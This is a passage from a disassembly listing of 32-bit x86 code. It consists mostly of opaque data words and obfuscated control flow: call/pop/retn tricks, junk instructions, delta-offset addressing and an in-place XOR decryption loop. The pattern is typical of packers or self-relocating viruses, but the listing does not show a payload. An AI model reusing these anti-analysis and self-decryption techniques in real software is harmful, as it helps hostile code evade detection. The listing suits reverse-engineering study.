		dd 9E8770B8h, 16E28D32h, 6A167D5Ch, 9E8FFh, 6BF10000h
		dd 7D04F832h, 8B72300Eh, 1528A99Dh, 95FF5A06h, 615248Dh
		dd 2F359D8Bh, 6A610615h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 0BAB8C351h,	7BBC67F2h
		dd 958BD911h, 6151379h,	5E1BD8Dh, 6A0615h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 0FC0AAC3h
		dd 681h, 3D958B00h, 8B061507h, 81661C4Fh, 6A075ACBh, 50006A01h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 0FA5A1D27h, 0F3BA9B74h, 0D7E280A6h, 10E96050h, 46000000h
		dd 0AAF878F8h, 22369F09h, 6A323DFBh, 8B645503h,	0C8961C8h
		dd 0A9852924h, 0F061525h, 858DDBBFh, 6183736h, 0D0FF0CB2h
		dd 8B1DF780h, 6AF8204Fh, 99958B03h, 5006152Ah, 52505250h
		dd 310F5A53h, 8D9D15BBh, 0F585A67h, 1ABB6631h, 89585AE4h
		dd 6A240Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 524B0DC3h, 13A7176Ch, 0D08B89EAh,	0BB99D8Bh
		dd 858D0615h, 6183736h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 1DC35545h, 60D0FFF8h,	188C0Fh, 13E90000h
		dd 30000000h, 0F1EED5F2h, 0EF18B2BDh, 7499A94Eh, 72635F0h
		dd 8D61C276h, 1505E1BDh, 659D2B06h, 8B06152Ch, 0BAB31C4Fh
		dd 50F5016Ah, 0E85F5660h, 10h, 0F35C0CF6h, 312BBDA0h, 0B646113Eh
		dd 6A4B655Ah, 6159C88Bh, 80240C89h, 858D56EEh, 6183736h
		dd 5880Fh, 81660000h, 0FF10B6EBh, 0DAB70FD0h, 66204F8Bh
		dd 9B72CA81h, 8B66036Ah, 0E5BB50D9h, 89123FC5h,	9589240Ch
		dd 6151299h, 3736858Dh,	0D78B0618h, 56C38166h, 50D0FFCDh
		dd 33E99D8Bh, 815B0615h, 4320B2E3h, 0F8D8B53h, 8B06154Fh
		dd 15192995h, 0F01FE06h, 18Fh, 858BF500h, 6154F0Fh, 6890Fh
		dd 9D8B0000h, 6150885h,	1335958Bh, 0FE0615h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0C1C35545h, 0E53579C4h
		dd 0D023CB8Dh, 9D8B016Ah, 6150E11h, 0A2AAF168h,	18F8BBDEh
		dd 481394Ah, 5CF50E24h,	3D9D8921h, 8D061517h, 18374085h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 7D20953Fh, 377BAA32h, 958B11A0h,	6152399h
		dd 8D89D0FFh
		dd 6152A2Dh, 2975BD83h,	0F000615h, 10684h, 85895000h, 6152A99h
		dd 0B5BD835Bh, 106152Dh, 0F1850Fh, 0BB660000h, 8D8DF682h
		dd 618374Ah, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	82C35040h, 8AC9D663h, 0C28166D3h, 36A4216h, 850Fh
		dd 16A0000h, 2395958Bh,	0D1FF0615h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 3DC35242h, 8459307Bh, 0E381DDBEh
		dd 4DE057A4h, 6A016Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 17E6FEC3h, 5890Fh, 99BB0000h, 6A22D915h
		dd 53006A01h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 71BB8162h, 0FF3C9441h, 138B0FD1h, 0F000000h
		dd 0D82h, 7E800h, 0C0350000h, 0E672F01Bh, 3EE85AD3h, 0E9FA466Dh
		dd 13h,	61B5DB1Dh, 10D4BCF2h, 2281360Ch, 0A329DCCh, 6A4B55B8h
		dd 0D6B70F20h, 0BF0FFF6Ah, 8D95FFD1h, 66061524h, 0B80E56BBh
		dd 0
; ---------------------------------------------------------------------------
		add	bx, 419Eh
		or	eax, eax
		jz	loc_5803F6
		mov	bl, 0B2h
		cmp	dword ptr [ebp+6152679h], 0
		jz	loc_5803F6
		push	0
		push	esi
		call	loc_5803CF
		and	[esi-3Dh], bl


loc_5803CF:				; CODE XREF: sub_57DD3A+268Dp
		pop	esi
		mov	[esp+40h+var_3E+2], esi
		add	[esp+40h+var_3E+2], 1Bh
		inc	esi
		push	esi
		retn
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0DA160879h, 0F90CAF4h, 95FFDFB7h, 6153401h, 355DF281h
		db 0CAh, 26h
; ---------------------------------------------------------------------------


loc_5803F6:				; CODE XREF: sub_57DD3A+2675j
					; sub_57DD3A+2684j
		mov	eax, [ebp+6152849h]
		push	esi
		mov	dx, di
		pop	ebx
		mov	byte ptr [eax],	0
		push	0
		push	edi
		call	loc_58040F
		and	[edi-3Dh], bl


loc_58040F:				; CODE XREF: sub_57DD3A+26CDp
		pop	edi
		mov	[esp+40h+var_3E+2], edi
		add	[esp+40h+var_3E+2], 16h
		inc	edi
		push	edi
		retn
; ---------------------------------------------------------------------------
		db 9Ah
; ---------------------------------------------------------------------------
		pop	ebp
		or	[ecx+15165185h], cl
		push	es
		pop	eax
		mov	dx, 97A1h
		mov	cx, ds
		jno	loc_58043C
		or	[ebp+61517A9h],	edi


loc_58043C:				; CODE XREF: sub_57DD3A+26F6j
		adc	ebx, 45BAEE98h
		test	cl, 4
		jz	loc_580490
		mov	ebx, [ebp+615019Dh]
		jmp	loc_580490
; ---------------------------------------------------------------------------
		sub	dl, 67h
		jmp	loc_580466
; ---------------------------------------------------------------------------
		dw 0EDB6h
		dd 47017783h
		db 30h,	35h
; ---------------------------------------------------------------------------


loc_580466:				; CODE XREF: sub_57DD3A+271Fj
		mov	esi, [ebp+6150B8Dh]
		or	[ebp+6152C65h],	ebx
		add	esi, 1180h
		add	ebx, [ebp+6150D35h]
		mov	edx, [ebp+6152829h]
		mov	dword ptr [esi], 0
		mov	[ebp+6152E45h],	edx


loc_580490:				; CODE XREF: sub_57DD3A+270Bj
					; sub_57DD3A+2717j
		pop	esi
		push	0
		push	ecx
		call	loc_58049C
		and	[ecx-3Dh], bl


loc_58049C:				; CODE XREF: sub_57DD3A+275Ap
		pop	ecx
		mov	[esp+3Ch+var_3A+2], ecx
		add	[esp+3Ch+var_3A+2], 1Dh
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		dd 98D404E1h, 0E695FDA3h, 5156C8BCh, 18B9958Bh,	5B5B0615h
		dd 0F00F883h, 0AA784h, 8166F500h, 8354A8E3h, 850F01F8h
		dd 1C4h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 14h,	0C4C35040h, 0B8FC8Ah, 66000000h, 9589D78Bh, 61515F5h
		dd 840FC00Bh, 0FAh, 2639B531h, 0F8830615h, 1C840F01h, 8B000001h
		dd 1508D595h, 0CA816606h, 0F8832995h, 78840F03h, 8B000000h
		dd 152DF595h, 6AC02B06h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 0F560C351h,	6890Fh
		dd 0B5890000h, 6152A65h, 89E0BD8Dh, 8052005Bh, 0FF5A9CD7h
		dd 52006AE7h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 95E6DCBFh, 0A5E59D91h, 0F38166D5h, 0CE990A7h
		dd 30000000h, 2A5D9C45h, 3263FE6Dh, 0B8DC4400h,	1, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 7DC35141h, 46FF1657h
		dd 0E1D3304h, 899D8B90h, 0B2061527h, 0E0BD8DC3h, 6A005B89h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 29F5C355h, 1519219Dh, 66E7FF06h, 0BD8DDA8Bh
		dd 615459Bh, 0AE9h, 0F78F3A00h,	940E593Ah, 0E9C7E3B3h
		dd 25Dh, 12E9h,	2A390A00h, 63E52BE1h, 3686E823h, 117C2D4Bh
		dd 0C7E00554h, 154F6A85h, 506h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 93998E26h
		dd 995C92AAh, 619D89E1h, 0B8061506h, 5,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 19h, 0BBC35242h, 5267489Fh
		dd 873E930h, 0F2810000h, 38353A3Ah, 0F02F883h, 0C185h
		dd 24EF8000h, 0B8h, 0D0B70F00h,	840FC00Bh, 90h,	148D0Fh
		dd 8E80000h, 0EB000000h, 0C963EB2Ah, 89D9E148h,	1528559Dh
		dd 0F8835A06h, 5C840F01h, 8BFFFFFFh, 151D1195h,	3F88306h
		dd 0FEBD840Fh, 6AFFFFh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 96D52AC3h, 0D87BE5B3h, 0B888h, 9ABA0000h
		dd 8D565D5Ch, 5B89E0BDh, 0D68B6600h, 14E8h, 29027100h
		dd 330D7494h, 5BB98AB4h, 9284FDE0h, 0A99914A6h,	5DBD89A2h
		dd 5B061517h, 0B589E7FFh, 6152395h, 4793BD8Dh, 6E90615h
		dd 0F0000000h, 0D87ACF98h, 11FE9F1h, 81560000h,	57078BC2h
		dd 0F8835B24h, 54850F03h, 0F000000h, 0BD8DD3BFh, 6154927h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 94C35141h
		dd 343E0AB0h, 0D08B6684h, 0DCE9h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 117C2D4Bh
		dd 83E00554h, 850F05F8h, 7, 36E9D08Bh, 83000007h, 850F06F8h
		dd 46h,	0BD8DD88Bh, 6154B1Fh, 0DE960h, 50060000h, 89FBDE49h
		dd 0E47CCAB8h, 61E868DEh, 80E9h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 2DC519EAh
		dd 65D5B306h, 0F883F1BCh, 25850F07h, 8A000000h,	95BD8DF1h
		dd 0F06151Eh, 68Eh, 39950300h, 0E9061505h, 0D0h, 7E9h
		dd 0A774A600h, 4E783EE6h, 0F0AF883h, 2485h, 0B890F00h
		dd 0E9000000h, 6, 0C2842DE3h, 0BD8D4EF3h, 6154D17h, 262D9501h
		dd 2E90615h, 0B7000000h, 0DE95749h, 0A8000000h,	0C1B9D08Dh
		dd 71F070EBh, 3C9D7EDDh, 767ED4B9h, 0CD8D8932h,	8306152Fh
		dd 840F003Fh, 5Ch, 81D7B70Fh, 5FC03EDAh, 660F301Fh, 0D16EFABAh
		dd 0F5958BC9h, 8B06152Fh, 1522F19Dh, 0D78B4706h, 3830Fh
		dd 0EE800000h, 0FFC9E975h, 6AFFFFh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0B65D0AC3h
		dd 0AE9D6h, 38220000h, 4962CCBh, 0D33FCF03h, 0EE95Fh, 193E0000h
		dd 1D8476F1h, 4953D569h, 0AB18C8Fh, 4F13BD89h, 9D8B0615h
		dd 6152569h, 9F99503h, 8D8D0615h, 6151395h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0AAC35646h, 0B9D33E63h
		dd 72C4E4F2h, 266DBD29h, 0B5FF0615h, 6152669h, 8159D03h
		dd 858D0615h, 617A3E1h,	16BD8D50h, 8D061556h, 156F4D8Dh
		dd 1ABCB806h, 0CF2B5483h, 0C8D00730h, 0F8754947h, 6ED1B58Dh
		dd 8D8D0615h, 6156F65h,	0A4F3CF2Bh, 0B8C933h, 0B000000h
		dd 834674C0h, 152679BDh, 6740006h, 340195FFh, 0B58B0615h
		dd 6154F13h, 0A3E1858Dh, 0D0FF0617h, 4370858Dh,	0D0FF0615h
		dd 7A985C7h, 10615h, 0A58B0000h, 6152D85h, 2AA5B58Bh, 0AD8B0615h
		dd 61527E5h, 0CC2C033h,	43F3BB00h, 0B70F39C5h, 69B589D7h
		dd 83061517h, 1511C1BDh, 840F0006h, 0Eh, 95FFE5B2h, 6152B11h
		dd 27419589h, 0BD830615h, 6151E01h, 0ED850F00h,	0E9000001h
		dd 7, 10B764E5h, 315C9E49h, 150531BDh, 0B5BD8306h, 106152Dh
		dd 1CE850Fh, 0C7800000h, 9BD83D1h, 61516h, 1BE840Fh, 0BE90000h
		dd 43000000h, 6892DE0Eh, 1C77B88Ch, 0BD837EE4h,	6154F66h
		dd 0A1840F00h, 8B000001h, 15097995h, 0E1858D06h, 6A0617A3h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 72B3C351h, 0B59BC557h, 0BC040921h, 4B3A4CBBh
		dd 3FD68055h, 4F13B58Bh, 6A0615h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 59ED84C3h, 5D5DA15Fh
		dd 2D81958Bh, 0D0FF0615h, 0C6DEB70Fh, 1509C585h, 830F5406h
		dd 6, 0E7F6DB81h, 0CE680C7Ah, 66D4085Eh, 481D88Bh, 46602624h
		dd 52006A2Bh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 839E26FAh, 0F683F5Eh, 0B5FFD6B7h, 6151685h
		dd 8DD1BF0Fh, 153B3885h, 10E906h, 0D6990000h, 0E36FFA77h
		dd 0F4C9B7E3h, 0E469EA73h, 0D0FF1CF5h, 44CB8166h, 89006A69h
		dd 151DDDBDh, 6AFF6A06h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0CC38C356h,	0E4BF913h
		dd 0FFD8BF0Fh, 50006AD0h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 11E9609Fh, 8E000000h
		dd 505B4917h, 0B940634h, 0C839D832h, 4F137A00h,	61F6BF0Fh
		dd 28ADB5FFh, 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 0DE4CC3h, 0AB2746B0h, 1D08B41h
		dd 1527998Dh, 6995FF06h, 6A061526h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 0C321C350h
		dd 852995E0h, 615193Dh,	4F13B58Bh, 6A0615h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 3994BCC3h
		dd 8F4104Ch, 873FD5BAh,	8529C377h, 6151E0Dh, 2849B58Bh
		dd 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 0B3F6B8C3h, 8E6F2FC5h, 601BD380h,	0BE861h
		dd 523A0000h, 0D361E4E5h, 4CE4FA6Ah, 3C34BBCDh,	0B5A31A8h
		dd 3D840FF6h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 2F70C351h, 0E18529A0h
		dd 29061516h
		dd 15255D85h, 6C606h, 5F526050h, 0BB19BA66h, 95895B61h
		dd 6152469h, 4F1B8589h,	0EE90615h, 3E000000h, 2F34F7B9h
		dd 0DC05C8A4h, 872927A4h, 0F88331h, 28A840Fh, 8B560000h
		dd 150AE995h, 0B85B06h,	8B000000h, 150E2195h, 0D0BF0F06h
		dd 0F00F883h, 0C284h, 0E5950900h, 83061518h, 850F02F8h
		dd 83h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch
		dd 0C9C35040h, 0D73758B9h, 0B3217F3Eh, 86AC381h, 858D0F0Dh
		dd 6154596h, 66EABA66h,	9292Dh,	6D9D8B00h, 90061510h, 5050D38Bh
		dd 0F98A5252h, 5A310F5Bh, 6A9058h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 4BFA1BC3h, 9AFB91h, 2AF59529h
		dd 95230615h, 6152875h,	0B18589C3h, 0B806150Ah,	0
		dd 14E8h, 99B16D00h, 744976ECh,	0A4D634A0h, 60C8081h, 0CB64393Ch
		dd 65950998h, 5A061507h, 1AFE9h, 0B99D2B00h, 0B806150Bh
		dd 1, 0CE9h, 23FD3900h,	1A610D62h, 937A801Fh, 9BBD8D9Dh
		dd 6A061545h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 253AC355h, 0C7553C42h,	0AB34E372h
		dd 0E9D2BF0Fh, 77h, 2A559D8Bh, 7E90615h, 22000000h, 0A5ED581Fh
		dd 0F883FF6Dh, 1E850F02h, 23000000h, 152AE19Dh,	93BD8D06h
		dd 0FC061547h, 4AE9h, 6800F00h,	0B000000h, 1533A59Dh, 3F88306h
		dd 1B850Fh, 9D890000h, 6152FC1h, 4927BD8Dh, 9D290615h
		dd 61503D5h, 1EE9h, 6CBA6600h, 5F8837Eh, 11850Fh, 958B0000h
		dd 6153431h, 88E9h, 999D8B00h, 57061517h, 2E598D89h, 0D08B0615h
		dd 767ED4B9h, 53006A32h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 0FFE2A54h, 689h, 4D850900h, 83061517h
		dd 840F003Fh, 41h, 0E870Fh, 9E90000h, 72000000h, 4F965932h
		dd 871517FAh, 9D8B0F30h, 6152EB9h, 0BD29C9D1h, 6152619h
		dd 0D8DBD89h, 0F470615h, 68Ah, 0F9B58900h, 0E906150Fh
		dd 0FFFFFFBBh, 877446BBh, 5F8830Bh, 5E850Fh, 0B70F0000h
		dd 0D98C66DBh, 0F63DC280h, 850F04C1h, 34h, 0B8DFB70Fh
		dd 0
; ---------------------------------------------------------------------------
		push	esi
		mov	dx, 0EE92h
		pop	ebx
		jmp	loc_580F70
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	loc_580F42
		and	[ebp-3Dh], bl


loc_580F42:				; CODE XREF: sub_57DD3A+3200p
		pop	ebp
		mov	[esp+40h+var_3E+2], ebp
		add	[esp+40h+var_3E+2], 14h
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------
		or	al, 66h
		sub	ebx, 858BC7C8h
		xor	[esi], ecx
		adc	eax, 0E0BA6606h
		mov	esi, 6053E0FFh
		mov	ah, 5Fh
		mov	ebx, [ebp+6150D65h]
		popa
		pop	ebx


loc_580F70:				; CODE XREF: sub_57DD3A+31F8j
		cmp	dword ptr [ebp+6152669h], 0
		jnz	loc_58106B
		or	dl, 3Bh
		push	eax
		push	eax
		mov	edx, ecx
		pop	ebx
		mov	[esp+24h+var_26+2], eax
		push	0
		push	ebp
		call	loc_580F93
		and	[ebp-3Dh], bl


loc_580F93:				; CODE XREF: sub_57DD3A+3251p
		pop	ebp
		mov	[esp+24h+var_22+2], ebp
		add	[esp+24h+var_22+2], 1Ch
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------
		db 43h
		dd 0E2EDAF7Ch, 0B7B45EB6h, 1775958Bh, 85C60615h, 61509C5h
		dd 4E845h, 69690000h, 96B28E72h, 8BD98B50h, 0F042444h
		dd 28Ch, 8BFCB600h, 0CE800h, 3EC80000h,	962F76EAh, 3B5BEAD5h
		dd 12E99E9Eh, 97000000h, 0DE3CDD0Fh, 1E904D70h,	5D7D4D37h
		dd 602DA7C1h, 44895B8Ch, 0F560424h, 48Ah, 0C9BA6600h, 0B585A31h
		dd 1516F195h, 85B5FF06h, 0E8061516h, 12h, 3F79DE17h, 0B1A86CDDh
		dd 0BE761B4Eh, 8DB4ADFh, 0C680DC58h, 858D5A83h,	6153B38h
		dd 8BD0FFF8h, 698589DEh, 6A061526h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 7153C357h
		dd 0B1958B58h
; ---------------------------------------------------------------------------
		and	al, 15h
		push	es


loc_58106B:				; CODE XREF: sub_57DD3A+323Dj
		cmp	dword ptr [ebp+6154F6Ah], 0
		jz	loc_58109A
		add	bl, 90h
		push	dword ptr [ebp+61528ADh]
		mov	dx, cx
		call	dword ptr [ebp+6152669h]
		or	[ebp+6152479h],	eax
		jmp	loc_58109A
; ---------------------------------------------------------------------------
		mov	eax, ds:9B9F84E8h


loc_58109A:				; CODE XREF: sub_57DD3A+3338j
					; sub_57DD3A+3356j
		cmp	eax, 0
		jnz	loc_5811E0
		push	0
		push	ecx
		call	loc_5810AE
		and	[ecx-3Dh], bl


loc_5810AE:				; CODE XREF: sub_57DD3A+336Cp
		pop	ecx
		mov	[esp+2Ch+var_2A+2], ecx
		add	[esp+2Ch+var_2A+2], 1Ah
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		lahf
		pop	es
		sub	[edi+6685F945h], esp
		mov	ebx, ecx
		mov	[ebp+6150301h],	esi
		cmp	dword ptr [ebp+6150A01h], 0
		jz	loc_581148
		ja	loc_5810E3
		mov	bh, 20h


loc_5810E3:				; CODE XREF: sub_57DD3A+33A1j
		mov	ebx, [ebp+6151C9Dh]
		push	dword ptr [ebp+6150A01h]
		call	loc_581108
		lodsb
		jnz	short loc_58111A
		fidivr	dword ptr [edi+68685E42h]
		retn	68EFh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 19h,	0CCh, 2
		dd 692F6F36h
; ---------------------------------------------------------------------------


loc_581108:				; CODE XREF: sub_57DD3A+33B5p
		call	loc_581112
		stosd
		sub	[esi+ebx*8], dh
		clc


loc_581112:				; CODE XREF: sub_57DD3A:loc_581108p
		clc
		pop	ebx
		pop	edx
		mov	eax, 1


loc_58111A:				; CODE XREF: sub_57DD3A+33BBj
		mov	edx, [ebp+6151095h]
		jmp	loc_5813BF
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	loc_581130
		and	[edi-3Dh], bl


loc_581130:				; CODE XREF: sub_57DD3A+33EEp
		pop	edi
		mov	[esp+24h+var_22+2], edi
		add	[esp+24h+var_22+2], 15h
		inc	edi
		push	edi
		retn
; ---------------------------------------------------------------------------
		cmpsd
		pop	es
		and	ebx, [ebp+61509C9h]


loc_581148:				; CODE XREF: sub_57DD3A+339Bj
		push	dword ptr [ebp+61528ADh]
		push	0
		push	ecx
		call	loc_581159
		and	[ecx-3Dh], bl


loc_581159:				; CODE XREF: sub_57DD3A+3417p
		pop	ecx
		mov	[esp+2Ch+var_2A+2], ecx
		add	[esp+2Ch+var_2A+2], 1Ah
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		db 0C7h, 0FDh, 51h
		dd 749A87ACh, 0CE9h, 0E6E93A00h, 0C566DA58h, 41C9764h
		dd 0CE821h, 32270000h, 0DF1F7FFCh, 79D5EFE5h, 87BA4744h
		dd 5B3EEA15h, 28ADB5FFh, 6A0615h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 20841BC3h, 0B5FF8A92h
		dd 6152669h, 0F4E9B8B6h, 0E8000001h, 6,	0AFAAEEECh, 9D897B2Bh
		dd 6151691h, 0E0DA805Ah
; ---------------------------------------------------------------------------


loc_5811E0:				; CODE XREF: sub_57DD3A+3363j
		pop	edi
		push	0
		push	ecx
		call	loc_5811EC
		and	[ecx-3Dh], bl


loc_5811EC:				; CODE XREF: sub_57DD3A+34AAp
		pop	ecx
		mov	[esp+28h+var_26+2], ecx
		add	[esp+28h+var_26+2], 17h
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		dd 79E1E874h, 6D5BD83h,	0F000615h, 0E385h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
		dd 9FB5EE7h, 40C38166h,	12E932h, 0B300000h, 672A0FEEh
		dd 20841BE4h, 0CD578A92h, 5DF18ECEh, 9C585C6h, 6A4D0615h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 0CDDBC355h, 1621D88Ah, 858921D1h,	61526D9h
		dd 0FACA8166h, 4E833h, 76A80000h, 6650A435h, 448BD68Bh
		dd 8B0424h, 8F0F5250h, 3, 0FD88B66h, 8B0F5331h,	0
		dd 89585A5Ah, 66042444h, 8B58D18Bh, 150C9995h, 0F59D8906h
		dd 0FF06152Ah, 150789B5h, 858DFC06h, 6153B38h, 68C0Fh
		dd 958B0000h, 6152625h,	8B60D0FFh, 15156D95h, 85896106h
		dd 61506D5h, 68A0Fh, 9D290000h,	6152DB1h, 0B8h,	51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 3DCB67D7h, 0F537B2C2h, 4F13BD89h, 0E6800615h, 0FC00BFCh
		dd 2884h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 94561504h, 71E99Bh, 0B70F0000h, 69B5FFD2h
		dd 29061526h, 150701BDh, 0E1858D06h, 6A0617A3h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 0AE0BC355h, 97202FF0h, 503EEF48h, 13E8h, 92BFAA00h
		dd 2291E05Fh, 1CEA9C7Ch, 0D2BBE0E9h, 9137F2EAh,	6E95250h
		dd 2F000000h, 0A60B88FBh, 8B310F73h, 5B585ADEh,	8B240489h
		dd 15340595h
; ---------------------------------------------------------------------------
		push	es
		mov	ebx, esi


loc_5813BF:				; CODE XREF: sub_57DD3A+33E6j
		push	eax
		push	esi
		lea	edi, [ebp+6155616h]
		lea	ecx, [ebp+61579A5h]
		mov	eax, 748323BCh
		sub	ecx, edi


loc_5813D4:				; CODE XREF: sub_57DD3A+36A0j
		xor	[edi], al
		ror	al, 1
		inc	edi
		dec	ecx
		jnz	short loc_5813D4
		pop	esi
		pop	eax
		cmp	dword ptr [ebp+6150A01h], 0
		jz	short loc_5813ED
		mov	ecx, [ebp+6151A51h]


loc_5813ED:				; CODE XREF: sub_57DD3A+36ABj
		xor	ecx, ecx
		mov	eax, 0
		or	eax, eax
		jz	loc_5814A4
		cmp	dword ptr [ebp+6152679h], 0
		jz	short loc_58140B
		call	dword ptr [ebp+6153401h]


loc_58140B:				; CODE XREF: sub_57DD3A+36C9j
		mov	eax, 0
		or	eax, eax
		jnz	short loc_58141D
		cmp	dword ptr [ebp+6154F1Bh], 1
		jz	short loc_581426


loc_58141D:				; CODE XREF: sub_57DD3A+36D8j
		cmp	dword ptr [ebp+6154F1Bh], 2
		jnz	short loc_581434


loc_581426:				; CODE XREF: sub_57DD3A+36E1j
		mov	esi, [ebp+6154F13h]
		lea	eax, [ebp+617A3E1h]
		call	eax


loc_581434:				; CODE XREF: sub_57DD3A+36EAj
		cmp	dword ptr [ebp+61511C1h], 0
		jz	short loc_581443
		call	dword ptr [ebp+6152B11h]


loc_581443:				; CODE XREF: sub_57DD3A+3701j
		lea	eax, [ebp+6154370h]
		call	eax
		cmp	dword ptr [ebp+6150BEDh], 2
		jnz	short loc_581483
		mov	esp, [ebp+6152D85h]
		mov	eax, [ebp+6150A01h]
		mov	[esp+28h+var_2A+2], eax
		mov	dword ptr [ebp+61507A9h], 1
		mov	esi, [ebp+6154F17h]
		mov	ebp, [ebp+61527E5h]
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------
		jmp	short $+2


loc_581483:				; CODE XREF: sub_57DD3A+3718j
		mov	dword ptr [ebp+61507A9h], 1
		mov	esp, [ebp+6152D85h]
		mov	esi, [ebp+6152AA5h]
		mov	ebp, [ebp+61527E5h]
		xor	eax, eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_5814A4:				; CODE XREF: sub_57DD3A+36BCj
		cmp	dword ptr [ebp+61511C1h], 0
		jz	short loc_5814BC
		cmp	dword ptr [ebp+6152B11h], 0
		jz	short loc_5814BC
		call	dword ptr [ebp+6152B11h]


loc_5814BC:				; CODE XREF: sub_57DD3A+3771j
					; sub_57DD3A+377Aj
		mov	esi, [ebp+6154F13h]
		retn
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	loc_5814CE
		and	[ecx-3Dh], bl


loc_5814CE:				; CODE XREF: sub_57DD3A+378Cp
		pop	ecx
		mov	[esp+28h+var_26+2], ecx
		add	[esp+28h+var_26+2], 1Ah
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		dw 0E78Eh
		dd 7A322D39h, 0E9DF8B2Dh, 13h, 949B5E07h, 0D5259F8Eh, 7492F2C7h
		dd 0CA1A6A73h, 0BB8928C6h, 620CD2DEh, 6AD22Bh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0D4B3D7C3h, 2AF1A579h, 0DF8B2469h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_58153C
; ---------------------------------------------------------------------------


loc_58153A:				; CODE XREF: sub_57DD3A+3805j
		inc	eax
		inc	edi


loc_58153C:				; CODE XREF: sub_57DD3A+37FEj
		cmp	byte ptr [edi],	0
		jnz	short loc_58153A
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_58156B
; ---------------------------------------------------------------------------


loc_581548:				; CODE XREF: sub_57DD3A+3833j
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_581560
; ---------------------------------------------------------------------------


loc_58155D:				; CODE XREF: sub_57DD3A+3829j
		mul	ebx
		dec	esi


loc_581560:				; CODE XREF: sub_57DD3A+3821j
		cmp	esi, 0
